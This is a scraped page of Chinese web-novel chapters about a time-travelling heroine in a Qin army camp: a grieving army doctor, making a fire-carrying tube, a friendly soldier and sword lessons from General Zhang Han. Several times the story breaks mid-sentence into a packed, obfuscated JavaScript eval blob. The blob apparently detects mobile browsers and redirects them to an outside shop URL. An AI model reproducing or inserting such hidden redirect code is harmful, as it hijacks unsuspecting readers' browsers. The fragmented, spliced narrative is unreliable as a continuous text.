他顿了一顿,捣药的动作略有迟缓,声音微低,“她怕我年迈体弱,竟自作主张,向上将军请命替我去前线。谁知,这一去,便再也没回来。她是在那一役中,中箭而亡的……那日,上将军亲自抱着她的遗体回来,我才得知此事。” 他说这段话时,语调平静,不见丝毫哀戚,只自顾地低头捣药,仿佛这一切不过旧事一桩,早已风化。 我心头一沉,低声道:“抱歉啊,让您想起那些伤心事了。” 莫大夫摆了摆手,语气淡然却不无感慨:“这都是命数。随军医者,本就要将生死置之度外。前线将士若命悬一线,我们这些后方之人也难独善其身。婉婉……她既做了选择,我相信,她并不后悔。只是,到头来,是我负了她和她爹娘,没能将她好好护住。” 我轻声劝道:“莫大夫不必自责,战场上生死无常,谁也难料下一刻会发生什么。她若在天有灵,定也不愿您将这事一直记在心上。” 说话间,莫大夫已将一半药材捣好,盛入木碗中递与我,温声道:“姑娘可先去那边空着的军帐,将药敷上。若是拖得太久,伤口容易感染。” 我顺着他手指方向望去,只见那军帐一侧垂着一道白布帘,掀开之后,里面摆着一张木床与一张梳妆台,床边还挂着几件女子衣裙,虽已陈旧,多有磨损,但被打理得整齐干净。 莫大夫在我身旁轻声补了一句:“这是婉婉生前的住处。无论军队迁徙至何地,我总要将这处帐子复原,像是她仍在我身边陪着我一般。” 我未再多言,只觉鼻间有些发酸,正低头想进帐时,才发现自己怀中还抱着那只野鸡,一时颇感不便。 莫大夫见状,便笑着伸手接了过去,“姑娘还是将这个交给我吧。你身上带伤,行动不便,我来帮你清洗处理便是。” 我轻轻颔首,心头暖意微泛:“那便谢过莫大夫了。” 婉婉的军帐被莫大夫打理得一尘不染,处处皆显妥帖与温意。我坐在她曾用的梳妆台前,拂去铜镜上的薄尘,将外袍一点点褪下。 伤痕纵横交错,殷红醒目地刻在我皮肉之上。我咬着唇,忍着隐隐作痛,指尖轻蘸白茅汁液,一处处敷上伤口。那汁液微凉沁骨,初时疼得难耐,片刻后才渐渐缓解。我稳住心神,将每一处伤都包扎妥当,再以洁净白布紧紧缠裹。 就在我收拾完毕之际,帐外忽然飘来一股浓郁的鸡汤味,鲜香扑鼻。我一怔,随即起身掀帐而出,只见不远处柴火正旺,莫大夫正蹲在一口小锅前,一边添柴,一边照看锅中汤水。 他听见脚步声,回头笑道:“姑娘稍等片刻,这锅鸡汤还需再熬一阵,待药香与肉香融在一处,才算真正入味。” 我走过去,面露歉意,“怎还能劳烦莫大夫亲自动手做这些?” 莫大夫摆手笑了笑,声音里满是宽厚:“无妨的。我虽常待在军医所,但军中之事,耳闻目染,也看得出几分。姑娘身在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫大夫不答,只是轻轻一笑,随即长叹一声:“上将军此人,外表看似冷酷果决、手段凌厉,实则最是通情达理。他原是朝中少府,专理财赋,亦掌骊山刑徒,可谓位高权重的文臣。却因乱世将临,秦廷无人可用,他便被迫披甲上阵,从文入武。这其中多少无奈、多少艰辛,也只有他自己心中清楚。若非他当年力挽狂澜,陈胜的兵马恐怕早已越过函谷关。更何况,他还肯将我那婉婉的遗体带回,让我得以见她最后一面……这样的将军,怎会是个冷心薄情之人?” 我默然低头,心中其实明白,章邯这人,虽有腹黑好戏之性,常常捉弄人,骨子里却并不坏。只是,曾经的阴影太过深刻,而他对我又总是忽冷忽热,令人难以捉摸,我实在难以坦然以待。 我语气平静地道:“我不否认,他是个极好的将领,智勇兼备,忠心耿耿,这是毋庸置疑的。可那份仁慈,也只施于他认定的‘自己人’罢了。” 鸡汤已然熬好,香气愈发浓郁。莫大夫盛了一碗递来,笑意温和:“人心都是慢慢看出来的。姑娘快趁热喝了,这里面我加了些对伤口恢复极好的药材,喝下去能舒筋活血。” “多谢莫大夫。”我接过木碗,低头啜饮。 鸡汤香浓醇厚,入口时带着一丝清润药香,在唇齿间缓缓氤氲开来,将这几日的疲惫与饥饿渐渐松缓。 我一边喝着,一边与莫大夫说话,闲谈之间,也向他请教了许多医理药识。他耐心地讲解,还特意在随身的竹简上画了不少常见草药的形态,逐一教我辨认,以备不时之需。 夕阳渐落,帐外霞光染红了天际,夜色悄然垂下。我将空碗轻轻放下,起身与莫大夫告辞。虽是短短半日,却似在这兵荒马乱的军营中,寻得片刻安宁。 31. 影子 躺在榻上的那一刻,才觉得浑身筋骨都像被敲碎了般疼,我只能静静地躺着,不敢动弹。身体只要稍微一动,便会牵扯到伤口,疼得要落泪。 忽然,外头似起了一阵风,把帐外的火把吹灭了,屋内瞬间陷入极致的黑暗,连一点点光亮都不剩。我自小怕黑,唯有点着灯才能安心入睡,况且此刻还是身在军营之中,陌生的环境本就令人难以安稳,更添几分惶然。 我咬咬牙,决意起身去把外头的火把重新点上,可才撑起身子,忽然想到:秦朝时对火的运用尚处于原始阶段,哪来的火柴与火折子?取火需靠钻木取火或燧石击火,既费时又讲究技巧,我自然不会。而军中虽有火种保存,却多存放在炉灶一带,有专人守看,乃是军中重地,贸然前去反倒不妥。 突然,一个奇思妙想划过脑海——倘若能在这个时空研制出火折子、火柴,甚至是火药之类的东西,推动眼下这动荡时代的文明进程,是不是就能更容易在这乱世中立足、生存下去? 只是,火药的制作知识对现在的我来说终归还是有些难度。虽说它作为四大发明之一,其原料和配比早已在课本上见过,但真要亲手试验,怕是心有余而力不足。相比之下,火折子的制作或许更为可行些。记得小时候跟家人看古装剧时,总见剧中人轻巧地点燃火折子,那时好奇,还特意上网查过资料。若我能将原理逐一写下,交给莫大夫那样博学又善于动手的人,说不定真能做出成品。 正想得出神,帐外忽然响起一阵脚步声,心头倏然一紧。 屋里屋外皆是一片漆黑,唯有月光悄然洒落在帐帘上,勾勒出一道修长的黑影,静静伫立在帘外,仿佛下一刻就要掀帘而入。 我猛地僵住,连呼吸都不敢出,指尖下意识握紧了榻边的剑。 自从搬入军营,我每晚都将剑放在枕侧,一来是为了应对突发状况,二来也好在这兵荒马乱的日子里求得片刻安心,多少能睡得踏实些。 脚步声愈发清晰,那黑影也渐渐显出轮廓。终于,在一阵短暂的静止中,我透过月色朦胧的投影,看到那人影正停在帐前。我忍不住朝帐帘下望去,只见一双黑色的靴子立在那里——秦军将士的装束向来统一,这靴子正是其中之一,由此可知,此人是军中之人。我悬着的心这才稍稍放下些。 然而,不多时,耳边却响起“呲呲”细微的摩擦声,像是有什么锋利之物正在划动帐布。 我在黑暗中屏息凝神,只见一柄银色小刀划破了帐面,割出一道细小的口子。那人收刀入怀,却并未离去,而是俯身将一只眼凑到了裂缝处,朝帐内窥探。 一瞬间,冷汗从背脊涔涔而下,整个人如同冰封,甚至不敢呼吸,仿佛只要动一下,就会暴露行踪。 然而,那只眼珠还在洞口来回转动,仿佛在确认帐中是否有人。我不得已将床边的剑紧紧攥在手中,只要他敢进来,就只能殊死一搏了。 不想,正在我构想着今夜要如何被这贼人残害致死的画面时,又一阵脚步声从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然身上的疼痛每时每刻都在撕扯着我的精神与意志,但好在已不再流血。想等伤势痊愈再行动,实在是不现实的。战地瞬息万变,危险随时可能来临,时间不会等我,而我也不会每一次都侥幸从死地逃生。 一月之期转瞬即逝。为了悺阳的性命,为了这得来不易的重新潜入楚军的机会,我都不能退缩。甚至更该在章邯面前表现出坚定的决心。无论他再如何刁难,都绝不可再像昨日那样,与他争锋置气。 莫大夫说得没错,在这军营之中,若非章邯庇护,我恐怕早死了千百回。俗话说,人在屋檐下,不得不低头。而我所有的目的,无非是活下去,回到楚军,找回韩信,逼他告诉我回到原来世界的方法。若他没有,那我便耗在他身边,继续寻找。无论如何,这秦营绝不是我的归宿。但想要活着走出去,我必须赢得章邯的认同与信任。 就在这时,营地的号角骤然响起,我知道,练兵的时候又到了。 我换上一身干净的军服,咬着牙拖着伤痕累累的身体,再次走向练兵场。 练兵场上,高大威武的秦军士卒正陆续集结。我低着头,悄悄躲在几个魁梧士兵之后,默默混入队伍之中。 不一会儿,三位身披黑甲的秦军将领出现在高台之上。居中者是章邯,左右分别是苏角与王离。他们神情肃穆,目光如锋,自上而下扫视着台下的众人。仅是那一站,便有千军辟易之威。 章邯上前一步,朗声说道:“将士们,我军虽克临济,斩魏咎、驱魏军,看似大捷,实则不过万里征途之一段耳。魏豹遁逃,齐楚合谋,诸侯未平,战火未息,危机犹在!天下未定,祸乱方炽。若自恃一胜而生懈怠之心,便是自毁根基,误我大秦大势!秦律有训:‘兵不在多,在于精。’昔日蒙恬将军北御匈奴,士卒昼夜苦操,方能威震朔漠。今我军驻守临济,得此喘息之机,更当整肃军容,锤炼筋骨,固其志气!自今日起,每日卯时,汝等负石十里,环营奔走——强其力,励其志,为再战蓄势积力!” 台下一众将士齐声高呼:“遵命!” 随后,将士们井然有序地搬起负重石块,准备环营长跑。我赶紧跟着那些高大的士兵小跑过去,心中却七上八下。 负重长跑可不是件容易事。做运动员时,我们也常练体能长跑,可是背着石块跑上十里地,这还是头一回。更何况我现在身上带着伤,能否撑得下来,根本没有把握。要是半途掉队,岂不是让全营上下看了笑话?想到这,不禁打了个寒战。 “该你了。”身后一人轻轻推了下我的肩膀,出声提醒。 我这才回过神来。眼前是一堆大小不一的石块,正轮到我选负重了。 我转身,想向方才提醒我的那人道声谢,却见他正含笑看着我。那人身形高挑偏瘦,眉目清朗,倒是一副平易近人的模样。我飞快地朝他抱拳致意,便低头挑选石块。 我一眼就看中了一块体积较小的,想着能轻些,于是俯身去搬,哪知试了两次都纹丝不动。好不容易石块离了地,又“砰”地砸回地面。 身后的秦军已有人开始催促:“前头的能不能快点儿啊!” 几道不耐的声音传来,我额头瞬间渗出冷汗,只觉脸上一阵发烫。 完了,还没开始就要当着众人出丑了。 “要我帮你吗?”耳边传来一道温和的嗓音。是方才那名秦军,已走到我身侧,低声问道。 我有些尴尬地看向他,又下意识握了握手臂,低头掩饰道:“那就谢过大哥了。小弟我昨日在对剑比试时,手臂受了伤,搬石头有些费力。” 那人闻言只是轻轻一笑,便撸起袖子,俯身替我将那块石头抬到一旁,自己又挑了块合心意的石头搬了过来,站在我面前。 我忙上前一步,真诚地道:“今日多谢大哥相助。要不是你出手,还真不知如何收场。敢问大哥尊姓大名?” 他一双细长的眉眼上下打量了我一番,唇角带笑:“叫我陈风便好。” “陈风……”我轻声念了两遍,忽然笑道,“真巧,我名字里也有个‘风’,我叫仪风。” 陈风眉眼微动,似是眼前一亮,旋即笑了:“仪风小兄弟,你这手臂上的伤看着不轻,何不向上将军禀明,今日就暂且歇着,等伤好了再练也不迟。” 我摇头道:“陈大哥有所不知,我是新来的,本就技不如人。若还不勤练,等真到了战场上,怕是连命都保不住。” 陈风听后轻笑:“可你连石块都搬不动,一会儿要怎么跑?” 我闻言望向四周,果然见那些秦军士兵毫不费力地将大石块扛在肩上,甚至有人双手托着举过头顶,迈开步子就跑了起来。 我瞪大了眼,惊道:“……就这样跑的吗?” 陈风点点头。 我稍稍试了试自己未受重伤的那只肩膀,勉强还能承受重量。于是咬咬牙,抬眼恳求道:“陈大哥,可否劳烦你再将那石块放到我左肩上?这样说不定能分担些力量。” 陈风也不多言,转身扛起那石块,小心地替我安置在左肩上。见我勉强扶稳,他才举起自己的石块,笑道:“仪风小兄弟,我就不等你了。” 我几分吃力地扶住肩上石块,朝他点点头:“谢了,陈大哥。” 只见陈风嘴角一勾,轻快地迈开步子,很快便消失在前方的尘土中。 绕营地十里,换算下来,约莫就是四公里左右,相当于在现代田径场上绕四百米跑道跑上十来圈。 若是换作从前,身为运动员的我对此自然不在话下——可眼下却是带伤、负重,跑上这四公里,怎么想都是一场苦不堪言的煎熬。 我扛着石块,侧头偷瞥了一眼高台上的三位将领。章邯居中而坐,神情冷峻不动如山;王离执笔,在一旁的竹简上飞快书写,时不时抬眼扫视台下;苏角则微侧身,眼神如鹰隼一般在我们身上掠过。 他们不是象征性的巡视,而是真正的监督,一举一动都逃不过他们的眼睛。 身旁的秦军将士早已陆续负重完毕,纷纷小跑回到队列之中。我不敢落后,咬紧牙关,紧随其后插入队伍。肩膀上的伤口在每一次颠簸中都隐隐作痛,如同针刺,汗水很快湿透了后背。 “整队——!” 苏角高声一喝,令声如雷。 众将士迅速列队,脚步整齐划一。紧接着,随着他手中一挥,号角吹响,队伍如一股洪流,整齐有序地冲出营地。 我深吸了一口气,努力让步伐不至于太慢,也不至于太快,以免带动肩膀剧痛。 这才刚开始,我心中已像悬着一块沉石。起初,我还能勉强跟上他们的步伐。可石块压在本就受伤的肩头,像是在撕扯皮肉,疼得几乎麻木。沉重的重量也一点点榨干了我仅存的力气,两圈下来,身边的人早已陆续从我身边越过,跑在了前方。 很快,我便落在了队伍的最后,与大部队拉开了一道长长的距离。 石块仿佛下一秒就能将我压垮,呼吸愈发急促,每一次踏步都像踏进泥潭。这样的感觉,像极了曾经的夏天——在三十多度的烈日下一圈圈奔跑,跑到几乎虚脱,却仍要咬紧牙关完成训练。那时的我,以为已尝尽极限的滋味,如今才知,这种痛,还有更深一层。 我一边拖着沉重的步子,一边抬头望向高台。章邯正好也望向我这边,但隔得太远,看不清他的神情。我想,他或许正在冷眼旁观,等着看我笑话。 我赶忙收回目光,继续往前挪着步子,却猛然听见前方传来苏角那震耳的喊声—— “跑最后那个,快点!要是十里结束还追不上队伍,就给我跑到太阳落山!” 我苦笑了一下,连秦军的身影都已看不见了,追得上才怪。苏角的吼声在耳边回荡,却没有击溃我心中那份决绝。只是,我知道,这条路上,终究只能靠我一人走下去。 也不知跑了多久,脚步像裹了铅,肩膀早已麻木,耳边只剩下风声与心跳。我几乎是撞上终点线的那一刻才看清——前方黑压压站着一群人,正叉着腰喘气,朝我望来。 原来,终点到了。 众目睽睽之下,我这个垫底者成了众人目光的焦点。狼狈也好、可笑也罢,我终究还是扛着石块,一步一颠地跑到了最后。 刚抵达终点的那一刻,我只觉心跳如鼓,眼前阵阵发黑,脚下一软,险些摔倒,却被一只有力的手臂扶住。 我虚弱地抬头望去,是陈风。他满头大汗,气喘吁吁地道:“仪风小兄弟,你没事吧?” 我咬着牙努力直起身子,摇了摇头,“没事。” 话音未落,原本零散喘息的秦军忽然安静下来,士兵们迅速归列,让出中间一条直通营前的大道。只见苏角、王离与章邯并肩而来,气势森冷。 我本能地扫了章邯一眼,却见他眉头紧蹙,眼神凌厉地落在我身上,又不着痕迹地看了眼陈风,神情沉沉。 苏角走在最前,嘴角勾起一丝似笑非笑的弧度,眼中寒意毕露。他站在我面前,语气带着讥讽:“我还奇怪秦军中怎会有这般资质的人——却不想竟然是你,那也不奇怪了。” 他故意侧头看了章邯一眼,又似嘲弄道:“怎么?比剑输了,不服气,打算发愤图强了?” 我默然不语,神情沉稳。 苏角见我不接话,又上前一步,低声威胁:“我秦军可不是谁想混就能混的地方。想留下?就得露出你的真本事。” “苏角,够了。”章邯忽然冷声开口。 他语气不高,却犹如惊雷,苏角明显一愣,眉宇之间闪过一丝不甘,却终究后退了半步。 章邯缓步走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他停了一下,语气低沉:“不过这只是暂时的。若一月之后,你能随军顺利救出公主,众将士自会对你另眼相看。到那时,我再告知他们你的异能,为我大秦所用,也不迟。” 我听完却忍不住轻笑了一声,带着几分讥讽:“那得看我有没有命活到那个时候。上将军,您的同僚,可是时时刻刻都想着要我命呢。” “你说苏角?” 我没答,只是静静看着他。 章邯低声开口:“他这人,不过是嘴碎惯了,爱开些玩笑罢。没有我的准许,他不敢,也不会动你一根毫毛。若你真心效忠大秦,时间久了,他自然会接纳你。但——”他眸光一沉,语气一转,“若你心怀异志,他,便是第一个不能容你之人。” 这番话,说得云淡风轻,可他眼底那一闪而过的杀意却让我下意识打了个寒颤。 秦军的算盘打得真是精巧——先试探忠诚,再议收编。之前他说不觊觎未来之事,如今看来,不过是时机未至罢了。命在他们手中,我又能说什么? 我面无波澜地抱拳低声道:“我既入秦营,又是公主的旧识,自然会竭尽所能,为上将军效力。” “这是你的真心话吗?如今,你不再厌我了?”他语气听似平静,眼底却带着不易察觉的试探。 “自然句句肺腑。”我轻轻一笑,“况且你现在是我的师父,徒弟怎会厌弃师父呢?” 章邯终于唇角微扬,浮起一丝浅淡的笑意:“看来,跟苏角那一战后,你的性子收敛了不少。” 我只是笑了笑,未接话。 他走近几步,站在我面前,伸手捏起我的下巴,微微将我脸抬起,迫使我正视他眉目之间那抹不容忽视的锋利。他凑近我耳边,语气低沉而缓慢:“别想着在我面前伪装你那些小心思——在这军营里,什么都逃不过我的眼睛。” 我直视他,目光不避不让:“我最隐秘的秘密你早已知晓,如今还有什么好隐藏的?” 他又靠近几分,声音带着一丝讽意:“比如,伺机逃回楚营?” 我眨了下眼,笑意更深了一分,“你就这么不想我离开?看起来你倒是很在意我。” 章邯神色微变,随即猛地松开了捏着我下巴的手,语气一转,冷若冰霜:“笑话!本将军怎会在意你一个楚女?不过是留你一命救公主罢了。别忘了,若不是悺阳为你求情,你的命早没了。” 我冷眼看他,语气亦清冷:“如此最好。将军且安心,我对你,同样没有任何非分之想。” 他眉头一蹙,沉声道:“你先出去吧。莫大夫说你伤势未愈,需静养几日。等伤好些,再来练兵场。” 我朝他拱手一礼,心中却悄然松了口气,随即大步流星地走出这压抑的营帐。 33. 谁的剑更厉害 在营中静养的这两日,我除了每日前往莫大夫处换药疗伤,其余时间几乎都窝在自己的军帐中,专心研制火折子。 现代网络上流传着不少“古法火折子”的制作教学,既有简陋易成的版本,也有需用硫磺、硝石等材料的精细制法。然秦朝当下,这些原料无疑难以获取,也不合时宜。于是我退而求其次,打算照着简易版本动手试试。 简陋版的火折子,其原理不过是打造一个适合做火种容器的便携竹筒,收集些干草、芦苇和松脂——将松脂加热融化,滴在捻好的甘草绳上,使其成为火芯,再将涂满松脂的火芯卷成卷,塞入竹筒内封好保存。待用时,只需取出,轻轻一吹,便可复燃成火。 当然,我并未将真正的用意告知莫大夫——一则,这种保存火种的方式,在秦军眼中或许是“异术”,过于出格;二则,我也需为自己留下一些底牌,以备不时之需。 于是,我只草拟了一份所需材料的竹简,请莫大夫代为搜罗。 “仪风姑娘,你需要这些做什么?”莫大夫捧着我草拟的竹简,眉头微蹙,语气中透着几分疑惑。 我笑着答道:“自是有我的用处。干草和芦苇在营地附近不难找,就是这松脂,我一时分辨不出,还望大夫指点一二。” 莫大夫捋了捋白花花的胡子,沉吟片刻,道:“这倒不必担心。我这儿正好还存着一些松脂。此物在军中亦属常用药材,具止血止痛之效。” 我一听,喜出望外:“那可真是再好不过。多谢莫大夫!” 不多时,莫大夫便从内室取来一个小木盒,轻轻打开,只见里头躺着几块色如浅琥珀的透明松脂,在阳光下微微泛着光泽。我不禁眼前一亮,神色间流露出几分惊叹。 莫大夫瞧出了我的神情,微笑道:“这些松脂,是从营地西南的苍崖林中采来的。林中松树繁多,松脂乃树木受伤后分泌出的树胶,凝固后便成这般模样。若你日后需要,只需用小刀刮取树干表面的凝脂便可。” 我接过木盒,朝莫大夫深深一揖,道了声谢,便如捧着宝贝一般匆匆离开军医所,快步回到自己的军帐。 火折子的制作并非一蹴而就。光是将那混合了松脂的干草卷顺利点燃,我便前后跑去营火处试了好几次。不是点不着,就是火势太猛,刹那之间便将火芯烧得精光,火星四溅之时,甚至险些将我的帐篷点着。 我只得一遍遍调整火芯的配比与形状,不厌其烦地试验,直到第二日深夜,我悄悄钻进灶房,蹲在柴垛旁,终于成功点燃了第一根火折子。 那是一束小小的火光,在灶火映照下安静燃着,却让我激动得久久不能言语。为这束微光,我耗费了数日的心思与心血。它既可应急取火,也许未来还可救命——光是想象,就已足够令人欣慰。 可即便在这片刻喜悦中,我的警惕心也未曾松懈。 军中的炉火从不熄灭,每日需烹煮军食,生火本就费时费力,因此灶房常有秦军驻守。我进来时便瞧见那看守的士卒靠着柱子打盹,才趁机溜了进来。现下要离开,恰巧那人已陷入熟睡,头歪在肩膀上,鼾声微微,我只得屏息凝神,像进来时那样,蹑手蹑脚地悄悄退出了灶房。 暗夜沉沉,我将火折子藏入衣襟,又披上那件黑色披风,低着头疾步而行。夜风穿林而过,寂静得仿佛连脚步声都能扰醒月色。忽然,我脚步一顿——眼前赫然是一双长筒黑靴,拦住了去路。 我心头一紧,几乎要跃出胸膛,顺着靴筒缓缓抬眼,是一双熟悉的眉眼,细长而清隽,月光下浮着一丝柔光。 “陈风?”我低声惊呼,“你怎么在这里?” 他四下望了望,神色戒备,旋即伸手拉住我,带我快步移至一侧灌木后的隐蔽处,似是才松了口气,道:“还好你没被发现。” 我下意识挣脱了他的手臂,眼神警觉,“你在说什么?你……你怎么会知道我今夜的行踪?” 陈风看着我,神情不似作伪,语气温和:“我只是偶然瞥见你进了灶房,担心你被人撞见,所以用了迷药让那看守的士卒睡下。” 我怔了怔,语气低下,“你……为什么要帮我?” 他顿了片刻,眼神像是透着某种情绪:“其实那日你在餐棚时,我就在附近。我看见你被他们欺负,心里……实在觉得不公。仪风姑娘……” “你叫我什么?”我立刻截住他的话。 陈风神色坦然:“仪风姑娘。我虽入军不久,但那日听得清楚,你是楚国女子,男扮女装潜入秦军。” 我狐疑地望着他,“那你那天跑步时,为什么还叫我‘仪风小兄弟’?” 他挠了挠后脑,神情竟有几分难为情,“那日人多,我怕你身份尚未公开,贸然称呼你为姑娘不妥。况且……你既然日日以男装示人,我想你定有不得已的缘由。” 他垂眸,声音也压低了些:“我不是有意窥探,只是……只是想让你知道,不是所有秦军都将你看作楚国细作。” 我心头微动,只觉他与军中其他秦兵迥然不同,并非那般叫人时时警惕提防。 陈风略显迟疑,仍是低声道:“那日,我见他们不给你饭食,便知你在军中境况不易。今夜见你独自潜入灶房,想着你或是饿极了,才会铤而走险。于是暗中用些迷药迷晕了守卫,只愿姑娘不被察觉,还请姑娘莫怪。” 我一怔,还未来得及出声,他又缓缓道:“不过我有些不解——按理说,这两日我都偷偷在你帐外放了一些粗粮干饼,姑娘……都未曾吃下吗?” 我瞳孔骤然一缩,怔怔望向他,难掩震惊:“是你?那几次送来的食物……竟是你?”心中一时间百感交集。 那两日,我的心思几乎全被火折子牵住,废寝忘食,早将口腹之欲抛诸脑后。可也确有那么两三次,当我深夜出帐去试火种时,发现门口摆着一个小食碗,里头是些粗粮与干饼。 我原以为,在这军中,唯一能顾及我者,除了莫大夫,也就只剩章邯,谁知……竟是陈风。 我望着眼前这张带着几分青涩却清朗真诚的脸,心下顿生几许意外之好感。 陈风挠了挠头,几分羞涩地道:“大家都是战友,也算是过命的交情,想着能帮就多帮衬些。对我来说,也不算什么难事。” 我不由爽朗地拍了拍他的肩膀,“陈大哥,你这个朋友,我仪风交定了!真是多亏了你,才没让我饿死在这秦军营中。” 夜色下,陈风腼腆一笑,月光柔柔地洒在他眼里,映出一片温和,使人轻易便愿意相信他本就不是个冷硬之人。 他抬头望了眼夜空,又劝道:“时候不早了,仪风姑娘还是快些回去,免得被人撞见。” 被他这一提醒,我才意识到如今应是子时,若再耽搁到丑时鸡鸣,恐怕便会惊动旁人。 我朝他抱拳一礼,道:“那我就先告辞了。今夜多谢陈大哥,改日得空,定请你喝酒,以作答谢。” 陈风笑着点了点头,也抱拳还礼。随后,我们各自转身,在夜幕中渐行渐远。 两日后,我如约回到练兵场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537428|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦军众人对我依旧冷眼以待,神情中满是不屑与厌意,少有人肯与我多言片语。但我也并未放在心上,只默默地跟在队伍最后,开始每日例行的十里负重长跑。虽仍旧落在队尾,却也比上回轻松许多,脚下不再那般踉跄,呼吸渐趋平稳。身体开始适应,心也渐渐沉了下来。 秦军将士在苏角与王离的指挥下开始操练兵阵,而我则被吴梗带去见章邯。 军帐内,章邯正低头专注地盯着眼前的沙盘推演,神情冷峻。听见脚步声,他才抬眼望来。 “伤可好些了?”他的声音听不出多少情绪,唯有一身黑衣铠甲,将他衬得愈发英武俊朗。 我下意识低头回道:“好多了。” 章邯嘴角微不可察地扬起一抹笑意,转身取过一把剑,随手朝我扔来,冷声道:“今日练剑,免得下回比试,又把自己弄得一身狼狈。” 我稳稳接住那把飞来的铜剑,打量几眼,是军中常用之制,沉而有力。 “你要亲自教我?”我眨了眨眼,语气里掺了些期待。 章邯似是翻了个白眼,随手抓起搁在案边的长剑,快步掀帘而出,冷冷丢下一句:“还不快跟上。” 我撇了撇嘴,低声嘀咕:“成日凶巴巴的……”虽嘴上抱怨,脚步却没慢下,赶紧小跑着跟了上去。 章邯领我来到营地附近一处空旷的平原。绿草如茵,风过无声,天地间仿佛只剩下我们二人。他转过身来,目光肃然地望着我,道:“把你会的剑术,全都使一遍。” “剑术?” “别告诉我你不会。”他目光如炬,“那日我在不远处看你与苏角交手,一眼就看出你学过剑。虽还不够纯熟,但底子不错。若你那日面对的是些寻常流寇而非苏角,保命应不在话下,甚至……还有赢的可能。” 听他这番话,我忽地想起韩信临行前说的那句:“若你肯勤加练习,日后定能有自保之力。”原来,他并非空言。 我没有多说,只是静静拔剑出鞘。脑海中浮现出那日木芙蓉盛开的庭前,韩信握着我手腕,一式一招,带我走过这套剑法的画面。他身影轻盈、眼神专注,一指一引都让人印象深刻。每次练剑,我都能清晰回忆起他的动作,今日亦是如此。 剑起剑落,收势如风。最后一式落下,我平静地抬头看向章邯。 他仍神情冷然,沉声问道:“这剑术,是谁教你的?” “说了你也不认识。”我低声嘀咕。 他眯起眼,逼近几步,“让我猜猜……是你在楚营的那位故人?” 我心口一紧,连连后退。 “韩信?”他声音低沉,似早已心中有数。 “是的。”我点头。 他眼里划过一抹不明的意味,“看来,他的剑术确实不错。” 他又逼近一步,身形高大,俯身贴近我时,竟有一股无形的压迫。我本能地继续后退,轻声道:“自然是。” 章邯忽然伸手,拽住我持剑的手,力道极重,将我猛然扯入怀中。我猝不及防,整个人贴入他怀里,不得不仰头直视他。他眼神幽深,仿佛藏着波澜。 “那你觉得——”他声音低哑,在我耳畔低语,“本将军的剑,和他的剑,谁更厉害些?” 我嘴角微微抽动了一下,心念电转,想到历史上章邯终究战败于韩信之手,不由避开他目光,“都厉害……” 他眼神微沉,手上力道又重了几分,紧紧将我扣在怀中,声音冰冷带笑:“那现在,就让你亲自领教一下本将军的剑法。” 34. 黑衣人 章邯的剑快且狠,似有剑意微动,便可血溅十里。他的身法如剑,疾如惊雷,招招狂放,大开大合,透着一股蔑视天地的高傲与轻狂。 我被他牢牢扣在怀中,剑柄几乎要被他从掌中夺走,持剑的手臂更似要被生生甩脱。刀光剑影之间,我已分不清东西南北,只觉一阵推搡、拽扯,耳边风声怒啸,眼前光影翻涌,如坠入旋风漩涡,身不由己,心神俱乱。 混乱中,他忽低声贴近我耳边,嗓音低沉沙哑:“别死抓着剑柄。若想破敌,须先会‘刺、削、带’三势。”说话间,他猛然带动我的手腕,剑尖如电前刺,破空而出,直指虚点。 “刺,扰其心神,破其气机。”他翻腕一转,横削而出,剑刃如快刀斩浪,带出一股破风之势。 “削,破其立场,逼敌退半。”我尚未稳住身形,他已一把牵引我旋身,剑锋顺势一转,划出一道游龙般的弧光。 “带,借力顺势,以柔破刚。”他教得简明而强硬,动作干脆利落,那只覆在我手上的掌沉稳有力,带着不可抗拒的掌控。 我以为这已是极限,未料他又一提我腕,长剑一沉,冷声道:“敌若逼近身前,就要用‘卸、撩、斩’三势。”他□□手中之剑卸开他自己递来的一击,轻而不散,顺势一撩,剑锋从腋下直挑而上,再猛地翻斩于虚空。 “卸的是重力,撩的是心神,斩的是绝不退让的命。”他一字一顿,声音如鼓,震得我心头一颤。那一剑在他手中,既是杀意,也是兵法,如沉雷滚动,直击我心。 那一斩落下后,他猛地松开我。毫无预兆,我整个人险些失衡,脚下一晃,几乎摔倒。我抹了把额上的汗,总算松了口气。抬眼望去,章邯正负手立于风中,眉挑微扬,神情里透出几分高傲与审视:“可学会了?” 我下意识地比划了一遍刺、削、带,以及卸、撩、斩的几个动作,道:“记是记住了……就是能不能练出来,还得看造化。” 章邯唇角微挑,语气冷淡而不失训诫:“那你便在此好好练。不要死记硬背,要懂得举一反三,衍生出属于你自己的剑势与剑意。记住——胜负往往不只在力与技,更在于‘出其不意’。” 他顿了顿,语声低沉而有力:“剑法人人可学,但能杀人的,是你‘何时出手’。” 我站在原地,反复咀嚼他那句话的意味,忽而眼睛一亮。心头仿佛被什么击中一般,遂郑重俯身一揖,道:“多谢上将军教诲。仪风明白了,定会勤加练习,不负所望。” 章邯负手缓步上前,微弯下身,嘴角似笑非笑地靠近我,语气懒散却带着些轻佻挑衅:“这几日你便在此日夜习练。待我来抽查时……若你能与我过上十招而不败,我便给你一个奖赏,如何?” “……奖赏?”我不禁心头一疑:这人,能给我什么?只要别再使坏,便谢天谢地了。 